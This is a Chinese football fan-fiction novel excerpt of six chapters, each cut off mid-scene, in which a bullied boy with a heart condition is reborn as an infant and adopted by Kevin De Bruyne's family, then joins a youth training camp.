《[足球]异瞳者(德布劳内是我哥哥)》 1. 重生 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 马克·乔伊斯(Mark·Joyce)出生在比利时根特市一个叫德龙恩的小镇,这个小镇走出了一位叫做凯文·德布劳内(Kevin De Bruyne)的名人。 凯文·德布劳内是马克的偶像。 只有4岁的马克被自己的亚裔母亲送来训练营的时候,那个金发碧眼的少年正用脚尖轻巧的颠着球,一个、两个、三个……当马克不知数了多少个的时候,少年就被教练大声呵斥着要求他一起去收拾场地。 少年不情愿的抱起球,往场边看了一眼。 “瞧!那个人好奇怪。”他的队友路过他身边时这样说道。“他一只眼睛是黑色的,一只眼睛是蓝色的,不会是恶龙转世吧,看他妈妈是亚洲人,一定是的,凯文,这下好玩了。” 凯文德布劳内没有理会他说的话,跑跳着跟上了队伍。 这是他们的一面之缘,也是这三年唯一一次见面。 不出意外,马克三年间被拒收了三次,不是因为他是异瞳者,而是因为他患有先天性心脏病,器质性病变是无法通过体检这一关的。 马克7岁时,时任德龙恩训练营的主教练佩里先生得知他的情况后同意他来试训。 德龙恩很小,马克的家庭很不堪。父亲酗酒家暴,母亲忍气吞声,为了保护年幼的马克,不得不想方设法把他送走,住在训练营里管吃管住不回来才好。 再见到德布劳内的时候,马克还没等和他说上一句话,12岁的德布劳内就被球探发掘即将离开小小的德龙恩。 他将来一定会成为伟大的球员,只有7岁的马克当时就这样认为。 经过了几天的测试,佩里先生告诉他:“孩子,你在足球领域里很难成才,你看他,他马上就要去亨克青训营了。”他指了指旁边的德布劳内对他说。 德布劳内冲他歪头一笑,那是他第一次和他对视,他的笑容像春天里的花开在了马克小小的心尖上,让他第一次感觉到心脏好像漏跳了一拍。 “只要努力你也可以。”12岁的德布劳内用他那不符合年龄的成熟口吻对他说。 身边不管大孩子还是小孩子,没有人愿意和他这个异瞳者一起玩,全部敬而远之。异瞳者被认为是带着上帝的诅咒,会给人带来厄运的人。 很显然,德布劳内并不在意,他甚至觉得马克很特别,很可爱。 那次算不上交流的交流在马克心里种下了一颗感恩的种子。 马克14岁的时候,德布劳内19岁。19岁的德布劳内帮助亨克夺得比甲冠军,同年加入国家队,在德龙恩这个小镇上已经家喻户晓。 不愧是自己的偶像。马克拿着小小的皱皱的德布劳内球星卡在场边坐着,等待着一线队员训练完去收拾场地。 这么多年,马克始终在训练营的二队里,好像一个雇佣工,每天训练,打扫,甚至帮厨,理疗,只要是球队需要,喊他一声就行。 他就像一个住在球队里的工作人员,没人给他上场比赛的机会,万一心脏病犯了,谁给他付医药费呢? 好在时间长了,主教练为他争取了生活补助。他会定期交给母亲,希望这点微薄的收入可以帮助母亲避免父亲的刁难。 “嘿!小恶龙!”一线队队长博尔格带着几个人走过来,一把夺过了马克手里的球星卡。 他看也没看就把它粗鲁的揉成一团,并丢在地上。 “偷懒是吧?”14岁就长得人高马大一身腱子肉的白人男孩双手抱着肩膀,恶狠狠的俯视着马克。 “队长跟你说话呢,你是聋子还是哑巴?”博尔格身旁的队友,也是他们作威作福的“四小虎”成员之一,名叫贾斯的雀斑男孩插嘴道,“他总是这样不听话,你应该好好教训教训他,队长。” 习惯被他们霸凌的马克没有作声,默默地站起来准备去干活,刚迈出一步,就被贾斯伸脚绊倒了。 “哈哈哈…”几个青春期的坏小子发出了尖锐的笑声。 “就这样虚弱,还踢球呢?” “是啊,不知道佩里教练为什么让他进来。” 博尔格看着马克起身时那非人的眼神充满了杀气,他感到脊背发凉,一脚跺在了他的背上,马克被他踩在脚下,眼底一片赤红。 “废物,还敢这样看着我?”博尔格脚尖挑起少年瘦削的下巴。 几只穿着长钉球鞋的脚都重重的落在了他的身上。 以前马克都忍了,无非就是骂他几句,怼他几下,像今天这样还是第一次。 他刚爬起来就又被这几个强壮如牛的小子给踢倒,像踢球一样简单。 面对他们的霸凌,马克始终承受着,咬紧牙关一声不吭。 他知道如果惹了事,就会被训练营开除,回到那个可怕的家。搞不好第二天就会被酒醉的父亲活活打死,或者被懦弱的母亲再次送到福利院,家里已经不想养他了,14岁了,该有一技之长了。 马克的脸被博尔格踩在脚下,瘦骨嶙峋的身子在轻轻颤抖,垂下的棕色发丝遮住了他一双异瞳。有人捡起了那张球星卡,展开以后再次发出了刺耳的笑声。 “他竟然喜欢德布劳内。”拾卡片的男生把卡递给博尔格。 博尔格唾了一口吐沫,再次把卡片扔在地上,用脚狠狠地碾碎。 “就你也配!”博尔格话音未落,接着一道身影飞了起来。 马克用尽全身的力气扑在博尔格身上,把他扑倒在地,向他挥起了拳头。 马克狠狠的抡了博尔格三拳,这是他第一次打人。 黑色瞳孔闪着刀锋一般的寒光,蓝色瞳孔也跌入冰窖,下眼底泛着白,凶狠的目光吓到了博尔格。 很快他就被剩下的三个人给拉开,摁在墙角里一顿拳打脚踢。 马克知道打不过他们四个人,就一直抱着头蜷缩在墙角,希望这场暴风雨快点结束或者有个人能来拯救他,不然不被他们打死也得被打残。 他们的鞋钉划破了他胳膊和腿上的皮肉,像张开了一道道血色的小口。 直到他趴在地上一动不动,那个雀斑男孩贾斯一把抓住了他的头发,将他生生提了起来。 “博尔格,他还敢用他那恶毒的眼睛盯着你。” 博尔格一个巴掌劈头盖脸的落下来,扇的马克脑子嗡的一声,接着就听不清他们说什么了。 “还敢还手!你这只恶龙,被诅咒的东方恶龙,就不该活在这个世上。”博尔格左手捂着自 2. 命运的齿轮 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 当强光不在,马克再次睁开眼睛时,身子正被一个温暖的怀抱包裹。 映入眼帘的是一对慈祥的夫妇。他们看上去有点面熟,男人红光满面,眼睛瓦蓝,女人眉眼弯弯,温柔端庄。 寒冷的冬夜,马克感到有一股暖流流进自己的身体里,让他感到舒适且安全。 这是哪里呢? 他睁开大大的眼睛四处张望,想伸展胳膊却被捆的像个包裹一样严严实实。 很快他看到了一张照片,那是一张三人合照,中间的那个金发碧眼的小孩,看上去更眼熟,不是吧,好像是童年的凯文·德布劳内,抱着我的是他的妈妈。 我的天,我穿越了吗?我重生了吗?我重生而且穿越了!那么我现在,没错,我是一个婴儿。 在我听到他们说话时,我知道了,我穿越回了只有1个月大的自己身上,而这里的确是凯文·德布劳内的家。 “乔,这个孩子应该还没满月,他好轻。” “内莉,这里有一张卡片。”男人从篮子里拿出一张手写的卡片。 “马克,出生于1996年11月2日。今天是12月2日,他刚满一个月。”男人缓缓地说道。 “天哪,谁这么狠心,把刚满一个月的孩子扔在了寒冬的夜里。”说着,女人抱着马克靠近了壁炉,并打开了他身上的包被,把他瘦小的手握在手里,冰凉冰凉。 “内莉,我们要不要报j,这孩子说不定有什么病,才被丢弃的。你不要……”男人冷静地分析着。 “先让他暖和暖和吧,我看他没什么病,他除了眼睛的颜色不一样之外,看上去精神的很。乔,你去接凯文,我来照顾他。”女人抱着小小的马克在壁炉前走来走去,眼睛里充满了怜惜。 “唉,好吧,我先去接凯文,不过为了保险起见,我会让约翰医生先过来瞧瞧的。”男人说着,拿起车钥匙出了门。 这个时候,马克只觉得身体慢慢的从僵硬变得柔软起来,手和脚也可以动了,他用小小的拳头攥住了女人的小拇指,用尽了全力,睁着水汪汪的眼睛直勾勾地盯着女人的脸。 他想说话,只张了张嘴却什么也说不出,这时肚子咕噜咕噜地叫起来,他饿了,他想说女士,可以给我一个面包吗,却憋出了一串响亮的哭声。 “噢,我的小宝贝儿。”女人被他这一声啼哭震的心都碎了,一时手足无措。 还好,她有育儿的经验,她把他轻轻地放在篮子里,靠近了壁炉,赶紧跑到厨房去翻奶瓶和奶粉,没有,只有牛奶,还好找出了凯文小时候用的奶瓶。 她倒了100毫升牛奶,微波加热了又倒在自己的手腕上试试温度,觉得刚刚好。这时马克哭的声音更大了,他失去了安全感,但他的眼前好像闪过了几秒后的片段。 果然,女人拿着奶瓶跑了过来,塞进了他的嘴里。 咕咚咕咚,他一口气喝完了100毫升温热的牛奶,意犹未尽。 他吸了几口空气,然后瘪了瘪嘴,马上又要哭出来。 不够吗,内莉都忘了那时的凯文喝多少,就在马克又哭了的时候,她赶紧又跑回去又冲了100毫升。 这次,马克不哭了。 他吃饱了。 他笑了。 他对着美丽善良的内莉笑,在内莉看来,是生理性微笑,那也足够甜了,这个孩子,虽然是异瞳,但他真的好可爱,好漂亮。 他不是传统的欧洲人长相,棕色的打着卷的细软毛发,棕色的眉毛,左眼是黑色的,右眼是蓝色的,小小的鼻子,透红的小嘴,冷白色的皮肤,没有任何血色,大概是快被冻僵还没缓过来。 长大了会是一个漂亮的孩子,哦对了,还不知道他的性别。 内莉打开了他的尿不湿。 马克局促的躲避不及,竟然在她打开尿不湿的同时没忍住尿了出来。 “哈,是个小男孩啊。”内莉赶紧给他包好,对了,我要打个电话。 她拨通了号码。 “喂!乔,捎一包纸尿裤回来!” “亲爱的,今晚我们就把他送到附近的j局吧。” “这孩子刚吃饱,他现在很好,如果把他送走,我担心他会死,如果你实在不放心,叫约翰医生现在就来。”内莉看着小小的马克已经慢慢地闭上了眼,他睡着了。“对了,叫约翰带一包纸尿裤过来!”她交待着。 乔·德布劳内挂了电话,叹了口气,小德布劳内坐在后座上,手里抱着足球,听着他爸爸好像在说什么重要的事,忍不住探着小脑袋问道:“爸爸,你在说什么?把什么送到j局?是捡到了什么东西吗?” “噢,是的,凯文。”德布劳内家庭从来不对孩子隐瞒什么,他们把他当成大人一样对话。 “那么是什么呢?” “是一个婴儿。” “啊??”凯文长大了嘴巴,在5岁的他的眼里,捡到一个婴儿是概率极小的事情,要说捡到一个钱包或者一只小狗还是有可能的。 “你妈妈刚要出门接你,就在门口发现一个婴儿篮子,里面躺着一个小婴儿,凯文,我们决定今晚要把他送到j局里。” “我们不可以养吗?”天真可爱的凯文发出了童真的疑问。 “不,我们不可以养。” “那么,他真可怜。”凯文抱着足球靠在靠背上,嘟囔着。 不出5分钟,约翰医生接到电话就赶过来了,作为德布劳内的家庭医生,他就住在附近,以便能够及时照顾他们的医疗需求。 他来的时候,一只手提着医药箱,另一只手提着一包纸尿裤。 “您来的真是时候。”内莉把他迎进来,接过了纸尿裤,并带着约翰医生来到壁炉前的马克身边。 “噢,天哪,是这么小的一个小婴儿。”约翰见到马克,发出了一声惊叹。“您先生说一个小婴儿被放在了您家门口,我在想怎么也要几个月大吧,现在看来,他更像一个新生儿,在大冬天的夜里不出一个小时就得被冻死。” 约翰蹲下来,打开医药箱,先对他进行一个初步检查, 3. 你好,马修 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 凯文洗完澡,狼吞虎咽的吃完晚饭,就一直盯着小小的马克看个没完。 马克睡了又醒,醒了又睡,他不知道为什么自己这么多觉,他看着凯文·德布劳内钴蓝的眼珠,白胖的小脸,金色的头发,想伸手去摸摸他,确定这一切是真的发生了。可他除了哼唧几声之外,什么都做不到。 “叫哥哥。”凯文逗他。 确实,无论是之前还是现在,德布劳内是哥哥。 马克笑笑,他做不到。 内莉和乔手忙脚乱地给马克换纸尿裤,又给他喂了一次牛奶,然后开了一个家庭会议,马克也参加了,他依旧躺在壁炉旁边的篮子里。 “亲爱的,我不是一个心狠的人,但是有些事我必须要说清楚。”乔·德布劳内郑重地对内莉和凯文说道。 他俩安静地听他讲话。 这样的家庭氛围,马克从未体会过。 “首先,按程序来讲,我们必须要把他送到j局,万一他亲生父母后悔了,还可以把他领回去。” “第二,我们如果要收养他,也必须走正规的收养程序,但我不建议这么做,毕竟我们并没有打算再养一个孩子,何况是别人的孩子。” 内莉和凯文脸上闪过一丝失望的神情。 “第三,我们必须尽快做出决定。好了,这是我的意见。对不起,你们应该知道,不管是什么,相处久了总会产生感情,何况是一个人呢。刚才我给他喂牛奶,他的眼睛盯盯地看着我,真的可怜。” 说着,乔·德布劳内捏了捏鼻梁,难掩脸上的悲伤。 “乔,亲爱的,我可以理解你的心情。”内莉握住坐在他对面的乔的双手,又被他反握回来。 “我们确实很难做出收养他的决定,明天先去检查身体,带足了牛奶和纸尿裤还有衣服,再把他送到j局,j局不是有洛克在吗,你忘了洛克是姑妈家的亲戚了?”内莉提醒了他。 “噢,对,我怎么没想起来。洛克会照顾好他的,直到找到他亲生父母为止。” “不仅如此,我们可以和他保持密切联系,随时关注这个可怜的小家伙,如果他没人要,我们就收养他。” “内莉,收养可是一件大事,你可要考虑清楚。” “我们有这个能力不是吗?乔。” “先一步一步来吧,还不确定明天会发生什么事。”乔看了一眼马克。 马克听着他们的谈话,心情忽上忽下的。是的,他想留在这,刚刚发生的一切是那么的真实,才过了几个小时,他就开始想念。想念内莉温暖的怀抱,凯文颤抖的小手,乔小心翼翼地喂他喝牛奶。 想到这,他又想哭了。 “可以让我说几句吗?”凯文摆弄着手里的水杯,抬起他忧虑的一双蓝眼睛看着他们。 “好,你说。”乔和内莉看着他。 “我想,我会照顾好他的。”凯文坚定地说出短暂又充满力量的话语。 这一刻,马克再也忍不住,他哇的一声又哭了出来。 的确,他们夫妻二人已有预感,就算把马克送到j局也不会有人来认领的,而他在警局呆不了几天就会被那帮粗心又忙乱的大老爷们儿给忽略掉,就算洛克在又能怎样,也不可能时时刻刻看着他,而他还是一个这么小的婴儿,会哭闹,惹烦了他们,就只有一个去处——福利院。 马克的哭声再次让两个大人心碎。 凯文第一时间跑过去,趴在篮子旁边看着他。 “你叫什么名字?如果你没有名字,我送你一个,就叫……”凯文想了想,“马修,上帝的孩子。” “凯文,他有名字,他叫马克。” “哦?这样吗,对不起。” 马修,我喜欢马修。马克在心里喊道,就让那该死的马克见鬼去吧,他这个没用的家伙,前世里任人欺负,忍气吞声,没法保护自己想要保护的人,却在今世被想要保护的人遗弃,还真是应了他父亲那句话:“早知道他是个被诅咒的孩子,当时生下来就该把他扔掉。” 内莉重新抱起哭泣的马克,哄了哄他,马克用尽全力伸手去抓她的衣领,好像在乞求她,不要放弃我好吗?我不想去j局,也不想去福利院,更不想回到原生家庭。 好吧,我承认,我贪心,我喜欢这里。 被内莉抱着,马克立即停止了哭泣,晶莹的泪珠挂在他的眼角,好像很懂事似的,眼巴巴地看着眼前这个温柔的女人。 这一宿,马克很安静,他努力的表现出一个乖孩子的样子,不去打扰任何人。 睡梦中,他好像看到了自己在医院里,身上被冰冷的仪器扫描,接着被送到了j局,吵吵嚷嚷的,没人过问他,纸尿裤鼓了起来,潮湿沉重的感觉让他忍不住喊叫,而周围的人走来走去仿佛他不存在一样。 很快,他眼前短暂的画面就变成了现实。 很不幸,他被当场诊断出先天性心脏病,接着被送进了j局。和他看到的一样,人来人往,吵吵嚷嚷,混乱中有个叫洛克的j官接过了放他的篮子。 他害怕的哭出来,即便是现实中,他也只是个14岁的孩子,被独自留在j局里,也会感到害怕。 那个温柔的怀抱不见了,那个慈祥的面容不见了,那个还没叫出口的哥哥不见了,好想要那个新名字,马修。 德布劳内夫妻带着沉重的心情走出了j局,身后传来马克撕心裂肺的哭声。 “内莉,别难过,我们跟这个孩子没有缘分,他有心脏病,活不了很久,万一,我是说万一,我们养了他几年,他离开了,到那个时候,我们包括凯文,会更受不了的。” “呜呜呜…”内莉扑在乔的身上哭起来。 乔轻轻的抚摸她的后背安慰她,也难过的说不出话来。 不用说,回到家以后,两个人都没有什么交流,心情也很低落,凯文训练回来以后做什么都提不起精神来,连游戏也不打了,总是问他妈妈,那个小孩没事吧?他还会回来吗? 两天后,洛克打来电话。 “内莉,这个孩子没人认领,他一直在哭,不吃不喝,看样子要活不成了,而且,他严重影响我们办公,局长说今天就把他送到福利院去。” 电话里不仅传来洛克烦躁的声音,还有马克尖锐的哭声,好像要哭没气了一样。 怎么办? 4. 进入训练营 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 “马修!马修!你的名字是哥哥给你起的,可你什么时候才会叫哥哥呢?”凯文胖乎乎的小手扒住婴儿床的护栏,低头看着马修(男主从此开始叫马修),童声童气的说着。 谢谢你,哥哥。马修在心里说道,我太幸福了,有你这样一位伟大的哥哥。 “凯文!”妈妈走过来摸了摸凯文的头,“你今天话可真多,马修以后就是我们家的一员了,你们兄弟俩相处的时间多着呢,以后你可以慢慢教他,快去洗澡睡觉吧。” “可以让马修和我一个房间吗?”凯文回头拢着妈妈的脖子撒娇道。 “还不可以,他太小了,需要妈妈照顾。” 凯文不情愿的退出妈妈的房间,走之前还拉了拉马修的小手,说:“弟弟,你累了,明天见。” 上帝,自打我有记忆以来就没有和爸爸妈妈一起睡过觉,马修激动的要哭出来。 内莉把马修抱在怀里,马修抱着奶瓶咕咚咕咚的喝着奶粉,眼睛一眨不眨的盯着内莉的脸。 我可以叫你妈妈吗?他躺在温暖的臂弯里,从胃到全身舒适得让他想睡觉,刚洗过的棕色毛发也跟着他喝奶的动作轻轻的颤动。 乔走过来也想抱抱他,看着他喝完了一大瓶奶,小心翼翼的把他抱起来,他趴在男人的肩膀上打了一个响亮的饱嗝,把乔逗的哈哈笑。 乔用一支手臂就托起了他,他小小的脑袋躺在他又大又厚的手心里,不太平衡的伸着手去摸乔的鼻子,发出了哼唧哼唧的声音,那是他在说:我可以叫你爸爸吗? 接下来的日子,马修被照顾的很好,而且是内莉亲自照顾他,保姆阿姨偶尔帮一下手。 马修超级听话懂事,妈妈累了,他就睡觉,不困也装睡,可以让妈妈睡一会。 除了要换纸尿裤扭动扭动身子之外,他不哭也不闹,乖的不像话,对德布劳内一家人来说,他简直就是一个天使宝宝。 他们去哪里都会带着他,逛商超买婴儿用品,去公园散步晒太阳,去动物园,游乐场,去好多好多他从未去过的地方。 他们带着他看花看海看世界。 他最喜欢被爸爸妈妈带着去看凯文比赛,他会挥舞着小手给凯文加油助威,凯文进球了他会咯咯的笑出声。 在他3个月的时候,破天荒的喊出了哥哥,4个月喊出了妈妈,爸爸。 保姆阿姨说:“马修一定是个天才,我还从未见过3、4个月就会说话的孩子。” 一家人都特别的高兴,而让他们感到更为惊奇的是,马修6个月就会爬,8个月就会走,1岁就可以和凯文抢球了。 他的心脏病从未犯过,不仅如此,他慢慢长成了一个健康漂亮的宝宝。 棕色软软的自来卷,又大又圆的眼睛,小巧的鼻子和通红的小嘴,皮肤白嫩的可以隐约看见皮下青色的血管,笑起来露出一排洁白的小奶牙,再加上他令人捉摸不透的一黑一蓝的眼珠,任谁见了都会发出一声赞叹并想要抱过来亲上一口。 凯文才不让,除了爸爸妈妈,他家任何亲戚都别想从他手里抢走马修,更别提亲他了,他视马修为个人财产,紧紧的抱在怀里,装作听不见的样子,而马修也会使劲的抱住哥哥的脖子,不让别人触碰。 马修也不是十全十美,他的身体太小很难驾驭的那么好,有时候会把餐盘打翻,酱汁弄的衣服脸上到处都是,不用纸尿裤了会偶尔不小心尿床,跑的太快腿跟不上脑子会把自己摔得鼻青脸肿…… 但在爸爸妈妈哥哥眼里他从来不是一个麻烦,妈妈总是不厌其烦的为他擦干净雪白的小脸,再换上干净的衣服,爸爸会辛勤的给他换床单,换隔尿垫,还会捏捏他的小鼻子说一声真调皮。哥哥从来都是拉起摔倒的他的小手,故意放缓脚步等着他再追过来,带着球再来一个变向过人,把他耍的团团转,再对着他嘿嘿笑。 在原生家庭,自打有记忆以来,光是活下来就已经很吃力了。他记得很清楚,有一次,因为他不小心弄洒了他酗酒爸爸的啤酒,就生生挨了一巴掌,头磕在桌角上肿了好大一个包,又因为哭的声音太吵被一脚踹翻,他妈妈想为他辩解也换来粗暴的一脚。 所以现在,他总是感觉幸福和快乐来的太过突然,原来童年还可以是这样。 凯文7岁的时候加入了德龙恩训练营,这是德龙恩唯一的正规训练营,从这里走出了不少职业球员。 他几乎一整天都呆在训练营里,早出晚归,文化课和踢球几乎占满了他全部的时间,每次接他回来,他即使饿得前胸贴后背也要先跑过来给马修一个大大的拥抱,一整天的疲惫感瞬间就烟消云散了。 他洗完澡,大口大口的吃饭,马修就坐在餐桌旁陪着他,并对他说:“哥哥,慢点吃。” 他总是笑着摸摸弟弟的头,像个大人一样对马修说:“你快点长大,好陪我一起去训练。” 很快,凯文的愿望成真了,虽然过程比较坎坷,马修一样因为心脏病被拒了三年,终于在第四年破例被收进了训练营。 是凯文替他打了包票,他对教练佩里说,“让我弟弟来吧,打替补也行,他在我想我的状态会更好。” 那一年凯文11岁,已经成为德龙恩青少年队主力球员,潜力无限。 马修6岁,也进入了德龙恩训练营,成为德布劳内的小跟班。 他在二队训练,为了可以留下,他主动承担了许多工作,比如捡球,陪练,整理球场,收纳球衣,给参赛球员接水准备电解质饮料等等。时间久了,大家都习惯了,老是马修马修的喊他,他就连跑带颠的过来,一声不吭的打杂。 这些他前世都做过,所以得心应手。 凯文看见了很是心疼,他只有6岁的弟弟是那么的懂事又能干,但他也很生气,为什么他要去做这些,惯的这帮工作人员和一队球员生出优越感。 这天,设备管理员杜莎甩着两只手走进球场,身后是一手抱着一叠分队衫,一手夹着锥桶在后边屁颠屁颠跟着小跑的马修。 干练的女人时不时地回头催他快点,训练马上要开始了。 凯文无心训练,他跑到二队的场地,堵住了马修的去路。 他一把扯过马修手里的分队衫,扔在地上,又夺过了他胳膊底下的锥桶,一样扔在地上。 马修惊讶的看着他,凯文从来没这么暴躁过,是不是自己哪里做错了,惹他不开心了,他脑子 5. 兄弟齐心 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 马修刚来的时候,一眼就认出了以博尔格为首的“四小虎”在二队里兴风作浪,他们年纪相仿,体型也差不多,马修不再是营养不良的细叶草,而是6岁身高就达到了140公分,比同龄孩子要高一头的“大高个儿”。 主要是他姓德布劳内,博尔格还不太敢欺负他,只是偶尔试探一下,看他是不是个好捏的柿子。 这一世,虽然马修带着强烈的恨,但他想到还是尽量不要给爸爸妈妈哥哥带来麻烦,能躲就躲,能忍就忍。 一次训练完,马修在浴室里刚洗完澡还没等出隔间,就听到一阵吵吵嚷嚷的声音。接着咣当一声,垃圾桶被撞翻。马修推开一条门缝往外看,只见一个小孩被博尔格他们踢倒在地,后背撞在垃圾桶上,两只手撑着自己的身体,害怕的往后退缩。 “现在知道害怕了?”博尔格蹲下来,看似关心似的拍了拍那人的肩膀,接着变了脸,一把揪住那孩子的衣领,提到自己眼前,伸手拍拍他的脸。 “刚才那不服的狠样子呢?还敢在场上推我?还要去告诉教练我欺负你?我欺负你了吗?”博尔格一下又一下的拍那男孩的脸,越来越响亮。 怎么6岁的小孩就这么坏呢,流里流气的模样像极了街头的混混。他们几个是附近贵族学校里的,家长硬塞进来减肥的,长得膘肥体壮干后卫的活,学了一身铲人的本事,就天天在队里耀武扬威。 被欺负这孩子是新来的,叫胡尔克,也是混血,有点非洲血统,一双下三白的眼仁看上去挺凶,不知道怎么招惹博尔格这个队内小霸王,被他们堵在洗浴间里欺负。 “说我错了,我以后不敢了!”博尔格揪着他耳朵,他一声不吭只是顺着力道的方向偏着头。 马修看在眼里,心中愤懑不平,想冲出去打抱不平,因为他曾经也受过这样的屈辱,但又有些顾虑,怕从此招惹上他们又会惹麻烦。 不管了,这辈子不要做饮鸩止渴的懦夫。 他推开门,冲着门口喊了一声:“佩里教练!” 几个人循声往门口看去,博尔格下意识的松开手,赶紧站起来把手背到身后。 马修冲过来一把拉起地上的小孩,撒腿就跑。 “走!快去告诉佩里教练,他们打你。” 那孩子惊吓中跟着马修一路顺着走廊跑,身后是气急败坏的博尔格他们四个穷追不舍。 追了一会,不知是谁说了一句,“好像是马修,改天好好教教他要怎么尊重队长!” 贾斯这家伙有点小聪明,他听了之后拉住博尔格的手臂,说道:“队长,他哥哥在一队呢,还是别招惹那个小恶龙了。” 有点道理,博尔格心里想着,但面子上决不能落了下风,他说:“他哥哥凯文德布劳内?那又怎样?我会怕了他?” 只有6岁的小孩不知天高地厚,在哪都要称王称霸。几个鸡犬之辈也恃强凌弱,对这个“小霸王”唯命是从。 很快,他们就针锋相对了。 被马修救走的胡尔克没有感谢马修,他对白人小孩不是很信任,总觉得他们很虚伪,是想从他这里找优越感,不是凌驾就是怜悯。 因此,他那天狠狠甩掉马修的手并警告他,“不要管我的闲事,你只会让我更麻烦”,他对马修说。 虽然马修没有得到应有的报答,但他不后悔对胡尔克伸出援手,不反抗只有一个后果,就是被人变本加厉的欺负。 他们在一起训练,时间长了,胡尔克也知道马修是一个没什么攻击性的人,这也导致马修在队里没有固定的位置,胡尔克是踢前腰的,他经常和博尔格这几个小后卫发生肢体冲突,他传球给马修,喊他快点进攻,马修正要带球往前冲,博尔格一个飞铲就把他放倒了,马修一时站不起来,博尔格唾了一声,说道:“废物,还想过我!就凭你俩?” 胡尔克拉起马修,对他说:“你到底行不行?” 马修:“我行!相信我!” 胡尔克身体素质很好,他又抢断了一个,直塞给马修,这次马修长记性,他在博尔格放铲前把球挑起来,使劲一跃,跨过了横在他前面的博尔格,再一脚抽射,球进了! “好哎!!”胡尔克大叫道。 马修跑过去和他击掌。 身后传来博尔格的叫骂声。 场边响起了掌声,马修闻声望过去,金色阳光下矗立着一个金色的身影,他11岁的哥哥正像个小大人一样穿着队服微笑着站在那里为他鼓掌。 马修不好意思的向他挥手,然后兴奋地跳了几个高,和他6岁的样子毫无违和感。 不成想这两个位置靠前的小孩成了博尔格为首的后卫的眼中钉。 接下来的队内训练,博尔格他们把防守的损招摆到了明面上来,换句话说,就是脏。 他们先是踢伤了胡尔克,造成他脚踝扭伤好几天没来,接着就对马修出手,但马修每次都是提前1-3秒做出反应,让他们算计不着。马修也不知道为啥,他这种预见性越来越准了。 他们这种下三滥的动作,教练佩里是知道的,作为整个德龙恩的主教练,他需要这种有血性的后场“悍匪”,虽然开会时强调要注意脚下,别伤了队友,但没用多久,博尔格他们反而被升入了一队。 马修为哥哥捏一把汗,回到家里,他总是趁哥哥还没睡着,趴在他枕头边上,忽闪着长长的睫毛,不断地提醒他:“哥哥,你明天要小心点噢。” 凯文每次都拍拍他的头,再亲一下他的小脸,说:“知道了,马修,快去睡觉吧,晚安。” 这样的日子一直持续了半年多。 终于有一次,在一场比赛中爆发了严重的冲突。那是一次一队和二队的队内比赛,因为一队第二天就要代表根特市德龙恩去和别的城市俱乐部打青少年联赛,为了给一队找自信,就安排了一场实力比较悬殊的队内友谊赛。 其实平时也打友谊赛,但大多数都是一队二队混着打,这样比较公平,像一队纯虐二队的时候还真没见过几次。 就这样,两兄弟兵刃相见了。 可还没等他俩有什么较量,博尔格率先对马修发难了,大概是在一队受凯文的气没地方撒,又因为以前在二队还没摆平过马修,他和贾斯他们一直想找个机会修理修理这个不太尊重他们的 6. 凯文走了 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 德布劳内家庭近来有三件喜事。 第一件,12岁的凯文被球探发掘即将加入亨克俱乐部青训营,这是一个比甲级别的俱乐部,意味着凯文即将走上比利时顶级职业球员的道路。 第二件,7岁的马修进入了德龙恩一队,位置前锋。他在上次哥哥为他打架之后突然顿悟了,哥哥19岁入选国家队踢的是中场位置,那么想要将来可以帮助哥哥成为最好的中场,就要让自己成为最好的前锋,把哥哥喂的饼通通吃下去。 第三件,内莉怀孕了。这让德布劳内一家欣喜若狂,当他们知道是个妹妹时,内莉抱着凯文和马修,在他们的脸上一人狠亲了一大口。 接下来的日子,凯文要去亨克报到了。他需要住在寄宿家庭,每个外地的未成年球员都要委托一个寄宿家庭来照顾他们的饮食起居。 凯文走的时候,摸着马修的头,像个男子汉一样,对他说:“要照顾好妈妈啊。” 马修点点头,抬头看着哥哥的眼睛,良久才憋出一句话:“哥哥,要注意安全,好好吃饭。” 凯文笑,没说什么,他也看着马修的眼睛,一时感到安定和沉静,似乎从弟弟这里获得了巨大的能量。 司机把他的箱子放进后备箱,他自己背着球包,坐在后座上,他拉下车窗,向爸爸妈妈还有马修挥手再见。 看着小轿车消失在笔直的大路尽头,马修感到心尖有一点微微的刺痛,是担心。他才12岁,就离开爸爸妈妈,去一个陌生的城市,陌生的家庭里,开始他的足球生涯。 从那时候开始,爸爸生意上更忙了,经常出差,家里大大小小的事都落在了妈妈和马修身上。马修特别懂事,他真的做到了凯文交代他的那样,好好照顾妈妈,帮妈妈做很多事情。 炎夏酷暑,妈妈胃口不好,阿姨做了很多好吃的她都吃不下,马修用牛奶白糖奶油冻成小冰球给妈妈解暑,妈妈夸他真是个贴心的宝贝。 凯文走了,马修在家里俨然长大了许多,不再是哥哥庇护下的小跟班,已经可以做很多事了,他超过常人的聪明常常让保姆阿姨瞠目结舌。 “德布劳内太太,这是马修亲自做的奶油蘑菇汤,他站在凳子上,我看着他做的,他说您最近对刺激性味道敏感,没有放胡椒和西芹。” “噢天哪,他真是个好孩子。” “他真的太聪明了,很多东西我没有教他他就会,比如使用烤箱,电磁炉,微波炉,一些快手菜,他知道今晚先生会回来吃饭,主动帮助我做了先生喜欢吃的罗勒意面。”保姆阿姨一个劲儿地夸马修是个聪明绝顶的孩子,说完之后她突然反应过来,又马上开始道歉:“噢,对不起太太,我失职了,可马修他…” “没关系。”内莉笑了笑,“他喜欢就让他做,不要束缚孩子,我们也要学会接受孩子对我们的爱。” “您真好,太太,放心吧,我会照看好马修的,也会教给他安全知识的。” 凯文刚离开家的日子,德布劳内夫妇并没有感到太失落,有第二个儿子用心的陪伴还有未出世的女儿带来的期待。 凯文离开德龙恩训练营不到一周,以博尔格为首的“四小虎”又开始蠢蠢欲动。 前世的那一幕提前出现了。 这天,马修没做好梦,早上起来以后浑浑噩噩的,早饭也没吃几口就去训练了。他梦见前世博尔格欺负他的那一幕,假如他没有打他的眼睛,结局会不会改变,然而他梦见博尔格他们不停地踢他,直到把他踢晕,接着就吓醒了。 所以这天训练他刻意躲着他,和胡尔克待在一起,练习射门,可今天教练偏偏安排了队内比赛。 博尔格本来以为凯文走了他就能当队长,毕竟他家有钱,会给他打理的明明白白,可教练还是因为他年龄小,技术糙,比不过凯文一星半点,队长之位悬而未决。 今天这场队内比赛谁拿了全场最佳谁来当。这明摆着是要找个前锋,毕竟进球了才有机会拿到全场最佳。 